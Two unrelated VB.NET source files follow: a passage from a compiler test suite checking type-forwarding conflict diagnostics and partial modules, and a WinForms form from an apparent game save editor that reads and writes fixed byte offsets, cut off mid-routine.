SharedCompilationUtils.IlasmTempAssembly(modSource.Replace("<<ModuleName>>", "module2_FT1").Replace("<<TypesForWardedToAssembly>>", "ForwardedTypes1"), appendDefaultHeader:=False) ilBytes = ReadFromFile(reference.Path) End Using Dim module2_FT1_Ref = ModuleMetadata.CreateFromImage(ilBytes).GetReference() Using reference = SharedCompilationUtils.IlasmTempAssembly(modSource.Replace("<<ModuleName>>", "module3_FT2").Replace("<<TypesForWardedToAssembly>>", "ForwardedTypes2"), appendDefaultHeader:=False) ilBytes = ReadFromFile(reference.Path) End Using Dim module3_FT2_Ref = ModuleMetadata.CreateFromImage(ilBytes).GetReference() Dim module4_FT1_source = <![CDATA[ .assembly extern ForwardedTypes1 { .ver 0:0:0:0 } .assembly extern mscorlib { .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4.. .ver 4:0:0:0 } .class extern forwarder CF3`1 { .assembly extern ForwardedTypes1 } .module module4_FT1.netmodule // MVID: {5C652C9E-35F2-4D1D-B2A4-68683237D8F1} .imagebase 0x10000000 .file alignment 0x00000200 .stackreserve 0x00100000 .subsystem 0x0003 // WINDOWS_CUI .corflags 0x00000001 // ILONLY // Image base: 0x01100000 ]]>.Value Using reference = SharedCompilationUtils.IlasmTempAssembly(module4_FT1_source, appendDefaultHeader:=False) ilBytes = ReadFromFile(reference.Path) End Using Dim module4_Ref = ModuleMetadata.CreateFromImage(ilBytes).GetReference() forwardedTypesSource.@name = "consumer" Dim compilation = CreateCompilationWithMscorlibAndReferences(forwardedTypesSource, { module1_FT1_Ref, forwardedTypes1Ref }, TestOptions.ReleaseDll) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream()).Diagnostics, <expected> BC37217: Forwarded type 'CF1' conflicts with type declared in primary module of this assembly. BC37217: Forwarded type 'ns.CF2' conflicts with type declared in primary module of this assembly. </expected>) Dim emptySource = <compilation> <file name="a.vb"> </file> </compilation> compilation = CreateCompilationWithMscorlibAndReferences(emptySource, { forwardedTypesModRef, module1_FT1_Ref, forwardedTypes1Ref }, TestOptions.ReleaseDll) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream()).Diagnostics, <expected> BC37218: Type 'CF1' forwarded to assembly 'ForwardedTypes1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' conflicts with type 'CF1' exported from module 'forwardedTypesMod.netmodule'. BC37218: Type 'ns.CF2' forwarded to assembly 'ForwardedTypes1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' conflicts with type 'ns.CF2' exported from module 'forwardedTypesMod.netmodule'. </expected>) compilation = CreateCompilationWithMscorlibAndReferences(emptySource, { module1_FT1_Ref, forwardedTypesModRef, forwardedTypes1Ref }, TestOptions.ReleaseDll) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream()).Diagnostics, <expected> BC37218: Type 'CF1' forwarded to assembly 'ForwardedTypes1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' conflicts with type 'CF1' exported from module 'forwardedTypesMod.netmodule'. BC37218: Type 'ns.CF2' forwarded to assembly 'ForwardedTypes1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' conflicts with type 'ns.CF2' exported from module 'forwardedTypesMod.netmodule'. </expected>) compilation = CreateCompilationWithMscorlibAndReferences(emptySource, { module1_FT1_Ref, module2_FT1_Ref, forwardedTypes1Ref }, TestOptions.ReleaseDll) ' Exported types in .Net modules cause PEVerify to fail. CompileAndVerify(compilation, emitOptions:=EmitOptions.RefEmitBug, verify:=False).VerifyDiagnostics() compilation = CreateCompilationWithMscorlibAndReferences(emptySource, { module1_FT1_Ref, module3_FT2_Ref, forwardedTypes1Ref, forwardedTypes2Ref }, TestOptions.ReleaseDll) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream()).Diagnostics, <expected> BC37219: Type 'CF1' forwarded to assembly 'ForwardedTypes1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' conflicts with type 'CF1' forwarded to assembly 'ForwardedTypes2, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null'. BC37219: Type 'ns.CF2' forwarded to assembly 'ForwardedTypes1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' conflicts with type 'ns.CF2' forwarded to assembly 'ForwardedTypes2, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null'. </expected>) End Sub <Fact> Public Sub PartialModules() Dim verifier = CompileAndVerify( <compilation name="PartialModules"> <file name="Program.vb"> Imports System.Console Module Program Sub Main() Write(Syntax.SyntaxFacts.IsExpressionKind(0)) Write(Syntax.SyntaxFacts.IsStatementKind(0)) Write(GetType(Syntax.SyntaxFacts).GetCustomAttributes(GetType(MyTestAttribute1), False).Length) Write(GetType(Syntax.SyntaxFacts).GetCustomAttributes(GetType(MyTestAttribute2), False).Length) Write(GetType(Syntax.SyntaxFacts).GetCustomAttributes(False).Length) End Sub End Module Public Class MyTestAttribute1 Inherits System.Attribute End Class Public Class MyTestAttribute2 Inherits System.Attribute End Class </file> <file name="SyntaxFacts.vb"><![CDATA[ Namespace Syntax <MyTestAttribute1> Module SyntaxFacts Public Function IsExpressionKind(kind As Integer) As Boolean Return False End Function End Module End Namespace ]]></file> <file name="GeneratedSyntaxFacts.vb"><![CDATA[ Namespace Syntax <MyTestAttribute2> Partial Module SyntaxFacts Public Function IsStatementKind(kind As Integer) As Boolean Return True End Function End Module End Namespace ]]></file> </compilation>, expectedOutput:="FalseTrue113") End Sub <Fact> Public Sub PartialInterfaces() Dim verifier = CompileAndVerify( <compilation name="PartialModules"> <file name="Program.vb"> Imports System Imports System.Console Module Program Sub Main() Dim customer As ICustomer = New Customer() With { .Name = "Unnamed" } ValidateCustomer(customer) End Sub Sub ValidateCustomer(customer As ICustomer) Write(customer.Id = Guid.Empty) Write(customer.NameHash = customer.Name.GetHashCode()) Write(GetType(ICustomer).GetCustomAttributes(GetType(MyTestAttribute1), False).Length) Write(GetType(ICustomer).GetCustomAttributes(GetType(MyTestAttribute2), False).Length) Write(GetType(ICustomer).GetCustomAttributes(False).Length) End Sub End Module Public Class MyTestAttribute1 Inherits System.Attribute End Class Public Class MyTestAttribute2 Inherits System.Attribute End Class </file> <file name="ViewModels.vb"><![CDATA[ Imports System ' We only need this property for Silverlight. We omit this file when building for WPF. <MyTestAttribute1> Partial Interface ICustomer ReadOnly Property NameHash As Integer End Interface Partial Class Customer Private ReadOnly Property NameHash As Integer Implements ICustomer.NameHash Get Return Name.GetHashCode() End Get End Property End Class ]]></file> <file name="GeneratedViewModels.vb"><![CDATA[ Imports System <MyTestAttribute2> Partial Interface ICustomer ReadOnly Property Id As Guid Property Name As String End Interface Partial Class Customer Implements ICustomer Private ReadOnly _Id As Guid Public ReadOnly Property Id As Guid Implements ICustomer.Id Get return _Id End Get End Property Public Property Name As String Implements ICustomer.Name Public Sub New() Me.New(Guid.NewGuid()) End Sub Public Sub New(id As Guid) _Id = id End Sub End Class ]]></file> </compilation>, expectedOutput:="FalseTrue112") End Sub End Class End Namespace
Imports System Imports PackageIO Imports System.IO Public Class MSE_grubs Private IsFormBeingDragged As Boolean = False Private MousedwnX As Integer Private MousedwnY As Integer Dim applicationpath = Application.StartupPath Dim mainsav = MSE_hub.Text_filepath.Text Dim Grubsstart = &H3C 'x196 'base Private Sub Icon_close_Click(sender As Object, e As EventArgs) Handles Icon_close.Click My.Settings.Para_ckupdate = 0 Me.Close() End Sub Private Sub Icon_close_MouseMove(sender As Object, e As EventArgs) Handles Icon_close.MouseMove Icon_close.Image = My.Resources.icon_close_red End Sub Private Sub Icon_close_MouseLeave(sender As Object, e As EventArgs) Handles Icon_close.MouseLeave Icon_close.Image = My.Resources.icon_close End Sub Private Sub TLSE_header_MouseDown(sender As Object, e As System.Windows.Forms.MouseEventArgs) Handles MSE_header.MouseDown, MSE_title.MouseDown If e.Button = Windows.Forms.MouseButtons.Left Then IsFormBeingDragged = True MousedwnX = e.X MousedwnY = e.Y End If End Sub Private Sub MSE_header_MouseUp(sender As Object, e As System.Windows.Forms.MouseEventArgs) Handles MSE_header.MouseUp, MSE_title.MouseUp If e.Button = Windows.Forms.MouseButtons.Left Then IsFormBeingDragged = False End If End Sub Private Sub MSE_header_MouseMove(sender As Object, e As System.Windows.Forms.MouseEventArgs) Handles MSE_header.MouseMove, MSE_title.MouseMove If IsFormBeingDragged = True Then Dim tmp As Point = New Point() tmp.X = Me.Location.X + (e.X - MousedwnX) tmp.Y = Me.Location.Y + (e.Y - MousedwnY) Me.Location = tmp tmp = Nothing End If End Sub Private Sub Icon_minimize_Click(sender As Object, e As EventArgs) Handles Icon_minimize.Click Me.WindowState = FormWindowState.Minimized End Sub Private Sub Icon_minimize_MouseMove(sender As Object, e As MouseEventArgs) Handles Icon_minimize.MouseMove Icon_minimize.Image = My.Resources.icon_minimize_red End Sub Private Sub Icon_minimize_MouseLeave(sender As Object, e As EventArgs) Handles Icon_minimize.MouseLeave Icon_minimize.Image = My.Resources.icon_minimize End Sub Private Sub Icon_menu_Click(sender As Object, e As EventArgs) Handles Icon_menu.Click MSE_hub.Show() Me.Close() End Sub 'end base 'keep settings Private Sub MSE_grubs_FormClosing(sender As Object, e As EventArgs) Handles Me.FormClosing MSE_hub.Text_filepath.Text = mainsav End Sub 'end keep settings 'load process Private Sub MSE_horse_Load(sender As Object, e As EventArgs) Handles MyBase.Load If MSE_hub.Text_filepath.Text = Nothing Then Else ReadMSEgrubs() End If End Sub Public Sub ReadMSEgrubs() Try Dim ReadGrubs As New PackageIO.Reader(CStr(mainsav), PackageIO.Endian.Little) ReadGrubs.Position = &H3C valu_grub_1.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H3D valu_grub_2.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H3E valu_grub_3.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H3F valu_grub_4.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H40 valu_grub_5.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H41 valu_grub_6.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H42 valu_grub_7.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H43 valu_grub_8.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H44 valu_grub_9.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H45 valu_grub_10.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H46 valu_grub_11.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H47 valu_grub_12.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H48 valu_grub_13.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H49 valu_grub_14.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H4A valu_grub_15.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H4B valu_grub_16.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H4C valu_grub_17.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H4D valu_grub_18.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H4E valu_grub_19.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H4F valu_grub_20.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H50 valu_grub_21.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H51 valu_grub_22.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H52 valu_grub_23.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H53 valu_grub_24.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H54 valu_grub_25.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H55 valu_grub_26.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H56 valu_grub_27.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H57 valu_grub_28.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H58 valu_grub_29.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H59 valu_grub_30.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H5A valu_grub_31.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H5B valu_grub_32.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H5C valu_grub_33.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H5D valu_grub_34.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H5E valu_grub_35.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H5F valu_grub_36.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H60 valu_grub_37.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H61 valu_grub_38.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H62 valu_grub_39.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H63 valu_grub_40.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H64 valu_grub_41.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H65 valu_grub_42.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H66 valu_grub_43.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H67 valu_grub_44.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H68 valu_grub_45.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H69 valu_grub_46.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H6A valu_grub_47.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H6B valu_grub_48.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H6C valu_grub_49.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H6D valu_grub_50.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H6E valu_grub_51.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H6F valu_grub_52.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H70 valu_grub_53.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H71 valu_grub_54.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H72 valu_grub_55.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H73 valu_grub_56.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H74 valu_grub_57.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H75 valu_grub_58.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H76 valu_grub_59.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H77 valu_grub_60.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H78 valu_grub_61.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H79 valu_grub_62.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H7A valu_grub_63.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H7B valu_grub_64.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H7C valu_grub_65.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H7D valu_grub_66.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H7E valu_grub_67.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H7F valu_grub_68.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H80 valu_grub_69.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H81 valu_grub_70.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H82 valu_grub_71.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H83 valu_grub_72.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H84 valu_grub_73.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H85 valu_grub_74.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H86 valu_grub_75.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H87 valu_grub_76.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H88 valu_grub_77.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H89 valu_grub_78.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H8A valu_grub_79.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H8B valu_grub_80.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H8C valu_grub_81.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H8D valu_grub_82.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H8E valu_grub_83.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H8F valu_grub_84.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H90 valu_grub_85.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H91 valu_grub_86.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H92 valu_grub_87.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H93 valu_grub_88.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H94 valu_grub_89.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H95 valu_grub_90.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H96 valu_grub_91.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H97 valu_grub_92.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H98 valu_grub_93.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H99 valu_grub_94.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H9A valu_grub_95.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H9B valu_grub_96.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H9C valu_grub_97.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H9D valu_grub_98.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H9E valu_grub_99.Value = ReadGrubs.ReadByte ReadGrubs.Position = &H9F valu_grub_100.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HA0 valu_grub_101.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HA1 valu_grub_102.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HA2 valu_grub_103.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HA3 valu_grub_104.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HA4 valu_grub_105.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HA5 valu_grub_106.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HA6 valu_grub_107.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HA7 valu_grub_108.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HA8 valu_grub_109.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HA9 valu_grub_110.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HAA valu_grub_111.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HAB valu_grub_112.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HAC valu_grub_113.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HAD valu_grub_114.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HAE valu_grub_115.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HAF valu_grub_116.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HB0 valu_grub_117.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HB1 valu_grub_118.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HB2 valu_grub_119.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HB3 valu_grub_120.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HB4 valu_grub_121.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HB5 valu_grub_122.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HB6 valu_grub_123.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HB7 valu_grub_124.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HB8 valu_grub_125.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HB9 valu_grub_126.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HBA valu_grub_127.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HBB valu_grub_128.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HBC valu_grub_129.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HBD valu_grub_130.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HBE valu_grub_131.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HBF valu_grub_132.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HC0 valu_grub_133.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HC1 valu_grub_134.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HC2 valu_grub_135.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HC3 valu_grub_136.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HC4 valu_grub_137.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HC5 valu_grub_138.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HC6 valu_grub_139.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HC7 valu_grub_140.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HC8 valu_grub_141.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HC9 valu_grub_142.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HCA valu_grub_143.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HCB valu_grub_144.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HCC valu_grub_145.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HCD valu_grub_146.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HCE valu_grub_147.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HCF valu_grub_148.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HD0 valu_grub_149.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HD1 valu_grub_150.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HD2 valu_grub_151.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HD3 valu_grub_152.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HD4 valu_grub_153.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HD5 valu_grub_154.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HD6 valu_grub_155.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HD7 valu_grub_156.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HD8 valu_grub_157.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HD9 valu_grub_158.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HDA valu_grub_159.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HDB valu_grub_160.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HDC valu_grub_161.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HDD valu_grub_162.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HDE valu_grub_163.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HDF valu_grub_164.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HE0 valu_grub_165.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HE1 valu_grub_166.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HE2 valu_grub_167.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HE3 valu_grub_168.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HE4 valu_grub_169.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HE5 valu_grub_170.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HE6 valu_grub_171.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HE7 valu_grub_172.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HE8 valu_grub_173.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HE9 valu_grub_174.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HEA valu_grub_175.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HEB valu_grub_176.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HEC valu_grub_177.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HED valu_grub_178.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HEE valu_grub_179.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HEF valu_grub_180.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HF0 valu_grub_181.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HF1 valu_grub_182.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HF2 valu_grub_183.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HF3 valu_grub_184.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HF4 valu_grub_185.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HF5 valu_grub_186.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HF6 valu_grub_187.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HF7 valu_grub_188.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HF8 valu_grub_189.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HF9 valu_grub_190.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HFA valu_grub_191.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HFB valu_grub_192.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HFC valu_grub_193.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HFD valu_grub_194.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HFE valu_grub_195.Value = ReadGrubs.ReadByte ReadGrubs.Position = &HFF valu_grub_196.Value = ReadGrubs.ReadByte Catch ex As Exception MSE_dialog.text_dialog.Text = "Failed to read grubs" & vbNewLine & "Check if your save file is not used with an other application or report this issue" MSE_dialog.ShowDialog() End Try End Sub 'end load process Private Sub Button_save_Click(sender As Object, e As EventArgs) Handles Button_save.Click WriteAllgrubs() End Sub Public Sub WriteAllgrubs() Try Dim WriteBgrubs As New System.IO.FileStream(CStr(mainsav), FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite) WriteBgrubs.Position = &H3C WriteBgrubs.WriteByte(valu_grub_1.Value) WriteBgrubs.Position = &H3D WriteBgrubs.WriteByte(valu_grub_2.Value) WriteBgrubs.Position = &H3E WriteBgrubs.WriteByte(valu_grub_3.Value) WriteBgrubs.Position = &H3F WriteBgrubs.WriteByte(valu_grub_4.Value) WriteBgrubs.Position = &H40 WriteBgrubs.WriteByte(valu_grub_5.Value) WriteBgrubs.Position = &H41 WriteBgrubs.WriteByte(valu_grub_6.Value) WriteBgrubs.Position = &H42 WriteBgrubs.WriteByte(valu_grub_7.Value) WriteBgrubs.Position = &H43 WriteBgrubs.WriteByte(valu_grub_8.Value) WriteBgrubs.Position = &H44 WriteBgrubs.WriteByte(valu_grub_9.Value) WriteBgrubs.Position = &H45 WriteBgrubs.WriteByte(valu_grub_10.Value) WriteBgrubs.Position = &H46 WriteBgrubs.WriteByte(valu_grub_11.Value) WriteBgrubs.Position = &H47 WriteBgrubs.WriteByte(valu_grub_12.Value) WriteBgrubs.Position = &H48 WriteBgrubs.WriteByte(valu_grub_13.Value) WriteBgrubs.Position = &H49 WriteBgrubs.WriteByte(valu_grub_14.Value) WriteBgrubs.Position = &H4A WriteBgrubs.WriteByte(valu_grub_15.Value) WriteBgrubs.Position = &H4B WriteBgrubs.WriteByte(valu_grub_16.Value) WriteBgrubs.Position = &H4C WriteBgrubs.WriteByte(valu_grub_17.Value) WriteBgrubs.Position = &H4D WriteBgrubs.WriteByte(valu_grub_18.Value) WriteBgrubs.Position = &H4E WriteBgrubs.WriteByte(valu_grub_19.Value) WriteBgrubs.Position = &H4F WriteBgrubs.WriteByte(valu_grub_20.Value) WriteBgrubs.Position = &H50 WriteBgrubs.WriteByte(valu_grub_21.Value) WriteBgrubs.Position = &H51 WriteBgrubs.WriteByte(valu_grub_22.Value) WriteBgrubs.Position = &H52 WriteBgrubs.WriteByte(valu_grub_23.Value) WriteBgrubs.Position = &H53 WriteBgrubs.WriteByte(valu_grub_24.Value) WriteBgrubs.Position = &H54 WriteBgrubs.WriteByte(valu_grub_25.Value) WriteBgrubs.Position = &H55 WriteBgrubs.WriteByte(valu_grub_26.Value) WriteBgrubs.Position = &H56 WriteBgrubs.WriteByte(valu_grub_27.Value) WriteBgrubs.Position = &H57 WriteBgrubs.WriteByte(valu_grub_28.Value) WriteBgrubs.Position = &H58 WriteBgrubs.WriteByte(valu_grub_29.Value) WriteBgrubs.Position = &H59 WriteBgrubs.WriteByte(valu_grub_30.Value) WriteBgrubs.Position = &H5A WriteBgrubs.WriteByte(valu_grub_31.Value) WriteBgrubs.Position = &H5B WriteBgrubs.WriteByte(valu_grub_32.Value) WriteBgrubs.Position = &H5C WriteBgrubs.WriteByte(valu_grub_33.Value) WriteBgrubs.Position = &H5D WriteBgrubs.WriteByte(valu_grub_34.Value) WriteBgrubs.Position = &H5E WriteBgrubs.WriteByte(valu_grub_35.Value) WriteBgrubs.Position = &H5F WriteBgrubs.WriteByte(valu_grub_36.Value) WriteBgrubs.Position = &H60 WriteBgrubs.WriteByte(valu_grub_37.Value) WriteBgrubs.Position = &H61 WriteBgrubs.WriteByte(valu_grub_38.Value) WriteBgrubs.Position = &H62 WriteBgrubs.WriteByte(valu_grub_39.Value) WriteBgrubs.Position = &H63 WriteBgrubs.WriteByte(valu_grub_40.Value) WriteBgrubs.Position = &H64 WriteBgrubs.WriteByte(valu_grub_41.Value) WriteBgrubs.Position = &H65 WriteBgrubs.WriteByte(valu_grub_42.Value) WriteBgrubs.Position = &H66 WriteBgrubs.WriteByte(valu_grub_43.Value) WriteBgrubs.Position = &H67 WriteBgrubs.WriteByte(valu_grub_44.Value) WriteBgrubs.Position = &H68 WriteBgrubs.WriteByte(valu_grub_45.Value) WriteBgrubs.Position = &H69 WriteBgrubs.WriteByte(valu_grub_46.Value) WriteBgrubs.Position = &H6A WriteBgrubs.WriteByte(valu_grub_47.Value) WriteBgrubs.Position = &H6B WriteBgrubs.WriteByte(valu_grub_48.Value) WriteBgrubs.Position = &H6C WriteBgrubs.WriteByte(valu_grub_49.Value) WriteBgrubs.Position = &H6D WriteBgrubs.WriteByte(valu_grub_50.Value) WriteBgrubs.Position = &H6E WriteBgrubs.WriteByte(valu_grub_51.Value) WriteBgrubs.Position = &H6F WriteBgrubs.WriteByte(valu_grub_52.Value) WriteBgrubs.Position = &H70 WriteBgrubs.WriteByte(valu_grub_53.Value) WriteBgrubs.Position = &H71 